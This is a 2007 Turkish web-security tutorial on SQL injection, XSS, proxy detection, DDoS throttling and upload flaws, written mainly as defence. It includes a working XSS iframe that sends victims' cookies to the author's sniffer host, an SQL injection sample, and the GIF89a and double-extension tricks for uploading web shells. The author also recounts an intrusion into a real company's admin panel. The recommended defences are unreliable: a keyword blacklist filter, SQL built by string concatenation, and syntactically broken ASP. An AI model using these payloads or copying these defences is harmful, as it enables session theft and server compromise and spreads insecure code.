

Merhabalar,

Oncelikle size bu dokümanimda asagidaki konulardan bahsedecem:

- 1- Siteleri hackleme konusunda , ne tur saldirilar kullaniliyor?
- 2- Sitemizi saldirilara karsi koruyabilirmiyiz?
- 3- Sql Injection nedir? Nasil sitemi ona karsi koruyabiliriz?
- 4- XSS nedir? Nasil sitemi ona karsi koruyabilirim?
- 5- Proxy girisleri engellenirmi? Nasil?
- 6- DDOS saldirilarina karsi sitemizi nasil koruyabiliriz?
- 7- Bazi saldiri yazilimlarindan sitemizi nasil koruyabiliriz?
- 8- Upload, resim aciklari nelerdir?

1- Siteleri hackleme konusunda , ne tur saldirilar kullaniliyor?

Internet sitelerini hacklemek icin kullanılan methodlar; sql injection, xss, php inclusion, parametre aciklari, brute attack, file inclusion, upload aciklari vb. ile zarar vermek icin kullanılan methodlar; ddos, post saldirisi vb. gibi remote saldirilardir. Her birinin potansiyel bir acik olabilmesi icin bazi sartlari gerektirmesi gerekir. Kisacasi sql injection icin en az database baglantisi kullanan bir sitenin olmasi; php inclusion icin ise sitenin php ile kodlamasi gerek; xss icin parametre aciginin olmasi gerek; gif resim dosyasina shell sokup , calistirilmesi icin mesela server in linux olmasi, php ile kodlanmasi gerekir. Kisacasi her acik icin bazi sartlari gerektirmesi gerek. Aksi halde uzakdan saldiri programlari ile siteyi yavaslatma, servis disi olmasi icin cabalama girisimlerinde bulunulur.

2- Sitemizi saldirilara karsi koruyabilirmiyiz?

Egerki serverdaki diger sitelerin birinden shell yolu ile serverdaki permisonlari (yetkilendirme) kirarak sizin sitenin dizinize ulasmadigini ve server in sifreleri, ftp sifreleri kaptirilmadigi surece , sitemizin guvenligini Web Programlama Dilleri ile cok guzel sagliyoruz. Tabikide brute attack, ftp attack ilede sifreniz kirilmaz ise.

3- Sql Injection nedir? Nasil sitemi ona karsi koruyabiliriz?

"Web uygulamalarinda bir cok islem icin kullanicidan alınan veri ile dinamik SQL cumlecikleri olusturulur. Mesela "SELECT * FROM Products" ornek SQL cumlecigi basit sekilde veritabanindan web uygulamasina tum urunleri dondurecektir. Bu SQL cumlecikleri olusturulurken araya sikistirilan herhangi bir meta-karakter SQL Injection' a neden olabilir."

Gunumuz web uygulamalarinin cogu dinamik bir yapi olmasi, daha hizli guncellemek, data (veri) ile interface (arayuzu) birbirinden ayirmak icin database (veri tabani) kullanir. Databaseden veri cekmek icin Sql komutlar uygulanir. Sitelerde dinamik bir yapi nedeniyle, parametre gonderme islemleri olmaktadır. Bu parametre islemleri POST ve GET yolu ile olmaktadır. Siz egerki bu parametreye metakarakterler kullanarak sitedeki kod icindeki sql komuta mudahale edebilmis olacaksiniz. Boylece parametre uzerinden Sql komuta mudahale etmis, istedigimiz sekilde degistirip, database uzerinde veri silme, guncelleme, ekleme gibi basit; server da cmd calistirma, oturma kulanicisi ekleme, serverin file (dosya) sistemine

erisme gibi kompleks islemler mumkun kilinabilmektedir. Sizlere bu konuda sadece nasil yapildigi degil nasil korunacagindan bahsedecegim.

3 tur korunma yontemi mevcuttur. 1- Stored Procedure kullanimi, 2- SQL komut satirini parametreyip isleme koymak, 3- Gelen parametreleri filtreleme islemi.

- 1- **Stored Procedure kullanimi** : Sql inj. Bilindigi gibi islenecek olan sql komutun yapisini bozmaktadır. `SELECT 1 FROM Users WHERE UserName = '' & txtUserName.Text & '' AND Password = '' & txtPassword.Text & ''` eger biz `txtUserName.Text` yerine `'`; `DELETE FROM Users` – verisi girersek? O zaman `SELECT 1 FROM Users WHERE UserName = ''`; `DELETE FROM Users --' AND Password = ''` sql komutu calismis olacak. Bunu engellemek icin stored procedure kullanilarak parametreler tanimlanir ve parametre disindakiler sql komut icinden alınmaz. ASP.Net c# ile bir ornek verirsek;

```
dim cmd as new SqlCommand(queryUser)
cmd.CommandType = CommandType.StoredProcedure
cmd.Parameters(new SqlParameter("@Username",txtUsername.Text)
cmd.Parameters(new SqlParameter("@Password",txtPassword.Text)
cmd.Parameters(new SqlParameter("@Result",DBNull.Value)
cmd.Parameters("Result").Direction = ParameterDirection.Output
cmd.ExecuteNonQuery()
```

Burda goruldugu gibi Username, Password ve sonuc u almak icin Result parametreleri tanimlanmaktadır.

- 2- **Sql komut satirini parametremek**: stored procedure daki gibi parametremek soz konusu. Yine gerekli veriler tanimlanip, kullaniliyor. Asp.net C# ile ornegimiz;

```
dim strSQL as string = "SELECT @Result = 1 FROM Users WHERE UserName
= @UserName " & _
"AND Password = @Password"
dim cmd as new SqlCommand(strSQL)
cmd.Parameters.Add(new SqlParameter("@Username", txtUsername.text))
.....
cmd.ExecuteNonQuery()
```

- 3- **Gelen parametreleri filtreleme**: Oncelikle kullaniciya hic bir zaman guvenilmemeli. Disardan gelen tum parametreleri kontrol etmemiz gerek. Bunlar `request.form("")` ve `request("")` seklinde gelen tum veriler. ASP ile ornek;

```
<%
*****
***** Ejder 's SQL INJECTION SECURITY SYSTEM
*****
```

```
Function SqlCracker(ejder)
' ejder parametresi ile gelen bilgi, Sql ve Xss icin filtrelenmektedir.
ejder = Replace(ejder, "<", "&lt;")
ejder = Replace(ejder, ">", "&gt;")
ejder = Replace(ejder, "<br>", "<br>")
ejder = Replace(ejder, "[", "&#091;")
```

```
ejder = Replace(ejder, "]", "&#093;")
ejder = Replace(ejder, "''", "'", 1, -1, 1)
ejder = Replace(ejder, "=", "&#061;", 1, -1, 1)
ejder = Replace(ejder, "", "'", 1, -1, 1)
ejder = Replace(ejder, "select", "sel&#101;ct", 1, -1, 1)
ejder = Replace(ejder, "convert", "conver_t", 1, -1, 1)
ejder = Replace(ejder, "cast", "cas_t", 1, -1, 1)
ejder = Replace(ejder, "join", "jo&#105;n", 1, -1, 1)
ejder = Replace(ejder, "union", "un&#105;on", 1, -1, 1)
ejder = Replace(ejder, "where", "wh&#101;re", 1, -1, 1)
ejder = Replace(ejder, "insert", "ins&#101;rt", 1, -1, 1)
ejder = Replace(ejder, "delete", "del&#101;te", 1, -1, 1)
ejder = Replace(ejder, "update", "up&#100;ate", 1, -1, 1)
ejder = Replace(ejder, "like", "lik&#101;", 1, -1, 1)
ejder = Replace(ejder, "drop", "dro&#112;", 1, -1, 1)
```

'ejder degiskeni filtrelendi, return icin SqlCracker a yukleniyor.
SqlCracker = ejder

End Function
%>

ASP icin hazirlanmis kodumuz budur. Disardan gelen veriyi SqlCracker()
seklinde almamiz gerek.

```
SqlCracker(request.form("id"))
```

Bu sayede meta-karakter lere izin verilmicek. Sql sorgumuza mudahale edilmemis olacak. Edilse bile islememis olacak. Bunu biraz daha gelistirebiliriz. Yukardaki ilk 8 durumdan birini icerirse, banlist e ekleme yada hata verip , response.end ile sayfanin geri kalan kisminin islemesini engelleyebiliriz. Bu onlemleri aldiginiz taktirde Sql injectiondan korkmayin. (SqlCracker() fonksiyonu ayni zamanda, Xss acigini engellemek icinde kullanabiliriz. Her iki ozellik dusunerekden tum onlemler alindi.). Yapmamiz gereken diger ekstra onlemler ise;

- Veritabanimiza kisitli erisim hakki sagliyarakda, korumada saglanir. Mesela site uzerinden database e erisim yetkileri kisitli yapip, sadece okuma verilebilir.
- Dinamik sql sorgularindan uzak duralim. Parametre gondererek yada stored procedureler kullanilmasi daha guvenlidir.
- Veritabanimizdaki onemli verileri, sifreleme algoritmasi kullnarak islem yapilmasi gerekir.
- Sitemizde parametre yolu ile hata cikmasini en aza indirmemiz gerekir.

4- XSS nedir? Nasil sitemi ona karsi koruyabilirim?

"XSS (Cross Site Scripting) en basit tanimiyla kullanicilari girdi yapabildigi yerlere kod sokmaktir."

Yani sql injectiondaki gibi dusunebiliriz. Yine POST ve GET yolu ile kullanicidan gelen verinin site uzerinden islenmesidir. Ama bu biraz farkli. Bu seferki javascript bazinda meydana gelmektedir. Soyleki sitede sizden bir isim istiyor. Siz `<script>alert(1)</script>` yazip gonderdigimizde, site uzerinde "1" diye hata mesajı verdiriyorsak o zaman XSS acigi vardır. Fakat bu olay kalici degil. Kisiye ozel. Hemen sevinmeyin , aa bakin ben adimi yazdirttim : diye ? cunku o sadece sizde gorulecektir. Gelen parametreyi html tabanda ekrana basiyor. Siz javascript kod yada herhangi bir yazi yazdiginizda onu ekrana basmasi olayi.

Bu ne isimize yararki demeyin sakin. 2000 li yıllara kadar pek isimize yaramiyordu acikcasi. Ama javascript kod yazilimlarinin gelismesi uzerine, uyelik sistemi olan sitelerde cookie calmak icin kullanir hale gelmeye basladi hizla. En buyuk ozelligi, `<script>document.cookie</script>` komutu ile cookie degerimize ulasabiliyoruz site uzerinden. Bu acigin en etkili kullanimini ve verimini hotmail, mynet, yahoo da kullanarak cookie calip, taklit edip , sifresiz maillere ulasmamizla sonuclandi. Calisma mantigi su. Siz bir basit site hazirliyorsunuz. Oraya giren kisi, o sitenin arka planinda hotmaildeki xss acigini kulanip cookie degerlerini cagirip, onceden hazirlanmis servislere referans gonderip , calma islemi meydana gelmektedir.

```
<iframe
src="http://notrefamille.femmes.fr.msn.com/v4/forums/default.aspx?boardid=3&theme
=></script><script>i=new/**/Image();i.src="http://www.savsak.com/aspsniffer/s.asp?
"+document.cookie;</script><a href="" height="1" width="1"
frameborder="0">.</iframe>
```

Bu tur bir kod parcasi, hotmaildeki cookieeleri calmaya yeterlidir. Yeterki kurbanı , bu kodu iceren bir html sayfaya girmesini saglamak : Zaten sitelerin bizi tanimasi icin, cookie degerlerine gerek vardır. Siz bir siteye uyelik sifresi ile girdiginizde, sizin kim oldugunu , size yazdirdigi cookie degerleri ile taniyor. Bizde o cookie degerlerini sizden alip, kendimiz kullanmayi hedefliyoruz. Bizde boylece sifresiz giris imkanimiz dogmaktadir. Cookie calma islemi, Xss acigi dir. Cookie ile yapilan taklit, hack islemlerinede Cookie ile Hack denmektedir.

Size nasil yapildigini degil , nasil korunacagimiz hakkında bilgi verecegim. Oncelikle sql injection bolumunde kullandigimiz fonksiyonu, aynen disardan gelen parametrelerde uyguluyoruz. O fonksiyon hem sql icin hem xss icindir. Bunu saglarsaniz sorunsuz guvenlik saglamis olursunuz. Yada sadece xss icin <,' " karakterler input olarak geldiginde, islem yapmamasini saglamak ve islemeyerek cozum bulunabilir.

Bu tur onlemi ben uzun zamandır aliyordum. Fakat beklemedigimiz, farkında olmadimiz yerler olamazmi? Mesela sitemizde hazir forum kulaniyoz. Koskoca forum, her kismina mudahale edemeyebiliriz. O zaman ne yapacaz ? Mevcut xss ye sahipse, tek tek bu sqlcracker fonksiyonunumu cagircaz? Cevapim hayir. O zaman sunu dinleyen birde..

Bu konuda eski SaVSaK.CoM (uyelik sistemi iceriyordu) icinde gelistirdigim bir sistem var. Ekstra 1 eklenti ve birkac kontrol Xss sorununu cozum bulacaktır. Kullanici giris yaptiginde , veritabanimiza o kisinin en son IP adresini yazmamiz yeterlidir. Kontrol kismida, kullanici oturum acmadi ise? Acmasi gerekir. oturum acmis ise? Cookieye sahiptir. O zaman Egerki kullanici cookieye sahiptir? IP ile , veritabanindaki aynimi? Kontrolu yapilmali.

Değilse o zaman adamdaki cookie'leri silmeniz gerekecek ve üye girişi sayfasına yönlendirmeniz gerekir.

Özetle;

1. Eğer adam cookiesiz ise? Üye girişine yönlendir
2. Eğer adam giriş yapıyorsa? Veritabanındaki IP'ni güncelle
3. Eğer adam cookie'si varsa ? veritabanındaki IP'ni kontrol et. Değilse cookie'yi sil üye girişine gönder. Aksi halde sorun yok demektir.

Boylece XSS açığımız olsa bile, bunu kullanılmasını engelliyoruz. Peki bu tam çözüm mü? Tabii ki değil, bu sadece 1 tanesi. Öncelikle XSS için acık vermememiz gerekir. Bunun için her türlü dışardan alınan request() ve request.form() ile gelen verileri filtrelememiz gerekmektedir. Zarar verici bir karakter, komut var mı diye. Başka bir önlem session kullanımı olabilir. Cookie gibi kalıcı tanımlayıcı değilse, geçici tanımlayıcılar kullanılması. Ya da veritabanında IP'yi sürekli yedeklemek yerine, şifreleyip cookie'ye ek değer olarak yazabiliriz. Böylece cookie'deki IP ile, adamın IP'sini kontrol edilir. Buda geçici çözümlerdir.

5- Proxy girişleri engellenirmi? Nasıl?

Kimi hackerlar sitelere proxy adresleri ile girerler. Neden dersiniz? Gizlilik için. Çünkü sizin siteye giren kişi, nicki ile giriyor olabilir, ya da acık kimlikle. Siz kolayca IP'ni alabilirsiniz onun. Peki hacker bunun farkında ise, bu sefer başka bir IP üzerinden sizin siteye girmeye çalışacaktır. O zaman proxy adreslerini kullanıp , gizliliğini sağlamış olduğunu sanacaktır. Bilmediği birisi var. Böylece proxy adresi kullanırsanız dahi, siz bir siteye browser ile request de bulunduğunuzda realIP (gerçek ip) olarak proxy ip'si gider. Ama hesapda olmayan birisi vardır. Forwarded IP olarak sizin remote ip'nizi göndermektedir. Yani 2 IP birden ulaşmaktadır. Bunu biz webmasterlar kontrol edebilir, yakalayabilir, engelleyebiliriz. ASP web programına dilinden yola çıkacağız yine.

`Request.ServerVariables("REMOTE_ADDR")` -> siteye requestde bulunan IP. (eğer proxy kullanıyorsanız sizin proxy IP'nizi, eğer kullanmazsanız sizin gerçek IP'nizi olacaktır.)

`Request.ServerVariables("HTTP_X_FORWARDED_FOR")` -> bu boş ise proxy kullanılmıyor. Eğer dolu bir IP varsa ? bilinki o sizin gerçek IP'nizi olacaktır.

Kısacası, forward edilen adres varsa ? bilinki kullanıcı proxy ya da gateway kullanıyor. Aksi halde çıplak IP'si ile giriş yapmaktadır. Bunu yakalamak için yazdığım kod ise..

```
<%
*****
***** Ejder 's Proxy SECURITY SYSTEM
*****
dim RealIP, ProxyIP

'Remote IP'ni al.
RealIP = Request.ServerVariables("REMOTE_ADDR")
```

```
'Forward edilen IP miz
ProxyIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")

if not ProxyIP = "" then
response.write "Proxy kullandigin tespit edildi. Gercek IP adresin : "& ProxyIP

'Bu alanda kisiyi isterseniz banlar, isterseniz erisimini engellersiniz.Ben engeliyrm.
response.end
end if

%>
```

Bu kod parcacagini, sitenizde ilk islenen kisim olmalidir. Evet gordugunuz gibi. Proxy girisleri engellemis olduk. Sitenize giren kisi seffaf olmalı :p :D Maskeli haydut istemeyiz sitemizde...

6- DDOS saldırılarına karsi sitemizi nasıl koruyabiliriz?

Sitelerimiz genellikle GET ve POST saldırılarına maruz kalmaktadır. Get saldırısı sürekli sitenin sabit yada bazı sayfalarını sürekli çağırması ile olur. Biraz daha bilimsel açıklama yapmam gerekirse, karşı taraf socket yazılımları ile serverinizle bağlantı kurup, sizin site için Get paketi gönderir ve bağlantıyı kapatır. Server da cevap vermek için sizin siteyi yorumlar ve paketlerini hazırlar, göndermeye çalışır. Bu çalışma başarısız sonuçlanır taki timeout süresi bitene kadar. Çünkü karşıdan cevap bulamıcağı için. Biz connection (bağlantı) i istekden hemen sonra karşılıksız kapamistik. Bu olayın saniyede 50 , dk da 10 binden fazla connection açılıp, kapatıldığını düşünün. Server her geçen zaman cevap vermekte zorlanacak ve cevap veremez duruma gelecek.

Saldırının nereye yapıldığında çok önemlidir. Veritabanından işlem yapan yerlere saldırılması, her connectionda database e ulaşması gerekecek. O yuzdende kullandığı veritabanı servislerinde sorun yaşanmasına sebep olacaktır. POST saldırısında aynı gibidir. POST un etkili olduğu kısımlar, arama kısımlarıdır. Sitede en çok veritabanı işlemleri yapan kısımları, arama kısımları olduğu için, en etkili saldırı ve verim oradan alınmaktadır. Sitenin cokusude hızlanacaktır.

Şimdi bu tür saldırılarda ne yapabiliriz diye düşündüğümüzde, web programlama dilleri için kısıtlı birkaç yöntem var. Saldırıyı o an tespit etmemiz ve istedikde bulunan saldırganlara basit Html bir sayfa göndermemiz gerekir. Veritabanı bağlantımız varsa , o veritabanı bağlantımızdan önce response.end komutunu koydurmalıyız.

Şimdi size çözümden bahsedeceğim. Veritabanımızda tbllog diye tablo oluşturup. Kullanıcıların İpsi, tarih bilgisini kaydetmemiz gerek. Böylece sitemizde her adım loglanmış olacak IP ve zaman olarak. Şimdi sitemize giren kişi, 1 dk içinde kaç kere sitemizdeki sayfalarda gezinebilir. Yani sitemizin her linke tıklama, sayfa yenileme ? her biri bir hamle olarak algılayalım. 1 dk içinde kaç hamle yapar ortalama. Ben kendim için 1 dk da 20 hamle belirledim. Yani 1 dk içinde 20 tıklama yapmış sitemin sayfalarında. Eğer 40 yaparsa, adam saldırı yapıyor demek. Şimdi bunun kontrolünü sürekli yapacağız. Sitemizin açılmadan önce veritabanımızdan şu anki zamanla, 1 dk önceki zaman aralığında , o IP ye sahip kişi, kaç kez loglanmış? Eğer count değerimiz 1-39 arası ise sorun yok, ama >=40 olduğu an? O kişi

sitemize saldiri yapiyor demektir. O zaman o kisiyi mimlememiz gerek. Onuda banlist olusturup , IP sini banlamamiz gerekir. Boylece adam bir sonraki adiminda, Banlist sorgusu sirasinda IP si bulundugu icin ? sitenin geri kalanini goremicektir. Bu anlattigim sistemin size asp dilinde kodunu verecegim.

```
<%
*****
***** Ejder 's DDOS ATTACK SECURITY SYSTEM
*****
dim DDOSIP, DDOSTimer, DDOSrs, DDOSsayman

'Gelen kisinin IP sini aliyoz
DDOSIP = Request.ServerVariables("REMOTE_ADDR")

'Gelen kisinin dakika cinsinden karsiligini
DDOSTimer = day(now)*60*24 + hour(now)*60 + minute(now)

adoCon.execute("Insert into tbILOG (mIP, mTarih) values ("&DDOSIP&",
"&DDOSTimer&")")

'1 dakika onceki birim zaman hesaplaniyor
DDOSTimer = day(now)*60*24 + hour(now)*60 + minute(now) - 1
DDOSsayman = 0

'Gelen kisinin IP si, o zaman araliginda kac kez veritabanimizda mevcut , hesapliyoruz.
set DDOSrs = adoCon.execute("Select * from tbILOG where mIP = "&DDOSIP&" AND
mTarih >= "&DDOSTimer&" ")

if not DDOSrs.eof then
do while not DDOSrs.eof
DDOSsayman = DDOSsayman + 1
DDOSrs.movenext
loop
end if
DDOSrs.close()
set DDOSrs = nothing

' 40 dan fazla ise BANLAMA islemi yapiyoruz. Onu yazdigim fonksiyona gonderiyom.
if DDOSsayman > 40 then

'Ban fonksiyonu o IP yi BANlist e ekliyor. Bir daha girimde bulunursa ? o IP kontrol edilip,
listede ise siteyle erisimi engellenecek. Bu fonksiyon tum islemlerden once olmalidir.
Banlist kontrol olayi , ilk kontrol edilcek kisimdir.
Call Ban("ip",Request.ServerVariables("REMOTE_ADDR"),"IP - DDOS")

response.redirect "banned.html"
end if
%>
```

Bu benim uyguladigim, basarili bir sistem idi. Bu tur bir sistemin kotu yani ise, veritabani ile islem yapmasi herseye rahmen. Yani saldirganin IP si , banlistde varmi kontrolu icin veritabani baglantisi yaptigi icin her seferinde, bu sistemi yoracak yavastan.

Sizlere baska bir ddos icin korunma yonteminden bahsedeyim. Siteye ilk giren kisiye , o anki zamana bagli bir cookie degeri yuklersiniz. Bunun icin ufak textbox ve random sayi, yazmasini istersiniz. Yazan kisiye 5 dk lik o anki zamana bagli bir cookie yazarsiniz. O kisi o cookie degeri ile gezmeye baslar. 5 dk doldugunda, sitenin cookie deri yine degisir. Ve o yuzden kisi uyarı alır, tekrar o islemi gerceklestirmesi istenir. Boylece Biri saldiriya kalkistiginda maxsimum 5 dk saldirabilecek. Her 5 dk da bir programi ve icindeki cookie degerini degisitirip denemesi gerek. Buda isini guclestirir. Bu biraz istenmiyen bir durum, surekli ziyaretciden gezmesi icin, textbox e random sayiyi yazmaniz istenecek. Web programlama adina cozumlerimiz bu yondedir.

7- Bazi saldiri yazilimlarindan sitemizi nasil koruyabiliriz?

Sitenize surekli saldiri yapiliyor, servis disi kalıyor. Ilk adim, bu saldirinin turunu ve nereye yapildigini ogrenmek. Evet ana sayfamiza surekli binlerce request yani istekde bulunulmus. Dogal olarakda sitemiz cevap veremez duruma gelmis. Bu durumda browser bilgilerine bakacaz loglardan. Hangi programla yapilmis ve normal kullanicidan farkli bir durum ariyacaz.

Ben bu tur saldirilarla karsilastigim icin. Onceden onlem aldim. Mesela antirus diye bir yazilim vardir. Surekli connection acar durur. Kapatmazda , server kisa sure sonra cevap veremez duruma gelir. Peki bu durumda nasil engelleriz dersiniz. Bizim Web programciligi adina yapmamiz gereken cozumlerden biri, browser bilgisini filtrelemektir. Mesela antirus ile kendi ozel siteme degisik tarzda saldirilar yaptim. Teslerim sonucu sunu gozlemledim. Her sitemize requestde bulundugunda kullanan browser bilgisi farkli idi. Yani Browser bilgisi "antirus" kelimesini icermekteydi. Buda bize onu filtreleyebilme sansi verdi. Vede asagidaki kodu yazdim.

```
<%
*****
***** Ejder 's AntiRUS Protector SYSTEM
*****
Dim BrowseVar

'Siteye giren kisinin browser bilgisi.
BrowseVar = Trim(Request.ServerVariables("HTTP_USER_AGENT"))

If BrowseVar <> "" Then

'icinde Antirus geciyorsa , banlama sistemine gonder.
If Instr(BrowseVar, "AntiRUS") <> 0 Then
response.end
else If Instr(UCASE(BrowseVar), "ANTIRUS") <> 0 Then
response.end
else If Instr(UCASE(BrowseVar), "antirus") <> 0 Then
response.end
end if
end if
end if

end if
```

%>

Testlerimde çok başarılı oldu. Çok etkili bir şekilde saldırının yükünü azaltıyor. Burada saldırı programı yazan kişi için dikkat edilmemiş bir ayrıntı idi. Ama bizim isimize yaradı bu ayrıntı. Biz antirus saldırısını ? yapılıp yapılmadığını anlayabileceğiz artık..

Mesela bir başka saldırı programlarından , POST saldırısı yapan denyo yazılımının browser bilgisinde de "holyone" içermekteydi. Böylece onuda filtreleyebildik.

```
<%
'*****
'***** Ejder 's DENYO Protector SYSTEM
'*****
Dim BrowserVar

'Gelen kişinin Browser bilgisini alıyoz
BrowserVar = Trim(Request.ServerVariables("HTTP_USER_AGENT"))

If BrowseVar <> "" Then

If Instr(BrowseVar, "Denyo") > 1 Then
response.end
else If Instr(UCASE(BrowseVar), "HOLYONE") > 1 Then
response.end
else If Instr(BrowseVar, "HolyOne") > 1 Then
response.end
else If Instr(BrowseVar, "Nightmare") > 1 Then
response.end
else If Instr(UCASE(BrowseVar), "NIGHTMARE") > 1 Then
response.end
end if
end if
end if
end if
end if

end if

End Sub
%>
```

Sonuç olarak ciddi çözüm bulduk. Sitemizdeki kodların hepsi işlemeyen hatta veritabanı ile iletişim kurmadan bu tür kontrol yaptığımızda, ciddi anlamda saldırıyı etkisiz hale getirmiş oluyoruz.

Bu tür programların ne tür bilgi gönderdiğini öğrenmek için illa sitenizde denemeniz gerekmez. Bir tane Paket izleme yani sniffer yazılımı kullanarak, gönderdiği request bilgisinden ne tür browser bilgisi gönderdiğini, türünü , nereye saldırdığını öğrenebilirsiniz. Vede o yonde sitenizde önlemler kod bazlı alabilirsiniz.

Her saldiriyi bu sekilde asamayiz tabikide. Yeterlide olmiyacaktir. Sadece web programlaa dili adina nasil kendimizi maximum koruyabileceigimizden bahsetmeteyim. Tabikide mumkun oldugunca optimum kod yamamiz, az kaynak harcama ve veritabanina minimum erisimler saglamamiz ? bu tur saldilarin etkisini azaltacaktır..

Sizlere ornek bir POST paket gostereyim.

```
POST /fight-club/fight.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
x-flash-version: 9,0,47,0
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: apps.facebook.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: Cookie:
__utma=456546497.1131734494.1190402303.114568562.1194561491.150;
__utmz=252321497.1194011491.150.125.utmccn=(referral)|utmcsr=facebook.com|utm
cct=/profile.php|utmcmd=referral; __utmb=456546597; __utmc=456456497;
ABT=5967c5ab4b4d56560d393b4a820d67e%36594082139%3AA%235967c5ab4b4d2f4
170d393b4a820d67e15656A1194082139%3AA%23558501336a9f79e16394d2e3b8d24d
4f1st%3A1194609ggg17%3AA; login_x=xxxxxx%40hotmail.com;
xs=327ff8e565f318a94f35add51f056b5c; c_user=4565469422; sid=2

uid=4565434445&comp=true&fight=Fight+Opponent
```

Bu paketde, sizin browser bilginiz, cookie degeriniz, post degeri, islemcinizi gorebilirsiniz. Bu normal bir webbrowser ile gonderilen POST verisidir.

8- Upload, resim aciklari nelerdir?

Bu dokumanimdaki son kismi buna ayirdim. Sizlere Asp ve Php icin bahsedecem. Sitelerimizde resim yukletmek, yada dosya yukletme gereksinimi cok duyariz. Mesela sizlere direk buyuk bir sirketin aspx le yazdigi bir sitenin acigindan bahsedeyim.

Argesoft, logosoft, boyner, argenet gibi sirketlerin kullandigi bir aspx tabanlı site. Admin panelinin userlist kismina sifresiz, cookie kontrolsuz girdim. Evet garip ama gercek. Google ada o kisim referans gitmis. Her neyse. Ben admin paneline girdim, sifreleri degistirdim. Shell yuklemem gerekiyordu. Orda dikkatimi ceken bir kisim vardi. Resim upload kismi. Sadece jpg,gif yuklenebiliyormus yazdigina gore. Peki? Neye gore kontrol ediliyor. Eger yuklenen dosyanin icinde jpg ? kelimesi var yok ona goremi, yoksa duzgunce filtreleyip, resim oldugunu anliyacak bir cozum uretmislermiydi? Ne yazikki adamlar icinde jpg, gif kelimeleri geciyorsa izin veriyormus. Bende efso.jpg.asp (asp shell) diye dosyami bir guzel upload edip, server a sizmistim. Vede site yazilimlarini kendime yedeklemistim.

Gordugunuz gibi cok komik bir durum. Bu tur sorun bir cok asp tabanli sitelerde vardır. Dosya icinde aramak degilde, dosya adinda, noktadan sonraki terime bakilmasi gerekmektedir.

Simdi sizlere PHP den bahsedeyim. Once Linux hakkında bilgi verem. Linuxda dosyalarin uzantilari onemsizdir. Yani uzantiya hic bakmaz. Dosyanin icindeki taglardan ne oldugunu anlar. Simdi baska bir basima gelen olaydan bahsedeyim. Php tabanli resim upload edilen bir site vardı. Sadece resim dosyasi kabul ediyordu. Peki uzanti onemsizse, resim oldugunu icindeki taglardan anliyordu. Bende phpde hazirlanis shell dosyam, shell.php yi yuklettim. Fakat resim olmadigi icin kabul etmedi. Bunun uzeirne shell.php nin ilk satirina, GIF89a; yazdim. Ve tekrar denedim. Ve bu seferinde, sistem kabul etti, yukledi bir guzel ve bana linkinde verdi. Boylece server a ulasmis oldum. Bir baska olay ise, php tabanli sitelerde, avatar yukleme olayi vardır. Onda ise gif resmi notepad2 ile acip, sonuna php kod yazip, yukleyip , calistirtmaktaydik. Boylece gif icindeki kodumuz, sorunsuz execute etmekte idi.

Bu sekilde bir cok olay yasadim. O yuzden upload sistemini tasarlariken, bu soylediklerimi unutmaniz gerek. Ona gore onlem anlmaniz gerekir. Unutmayinki kullanicilara guven olmaz ;)

Dokuman icersindeki tum bilgi, yorum, kod lar Ejder tarafından SaVSaK.CoM icin yazilmitir.

02.11.2007

Ejder
ejder@savsak.com
www.savsak.com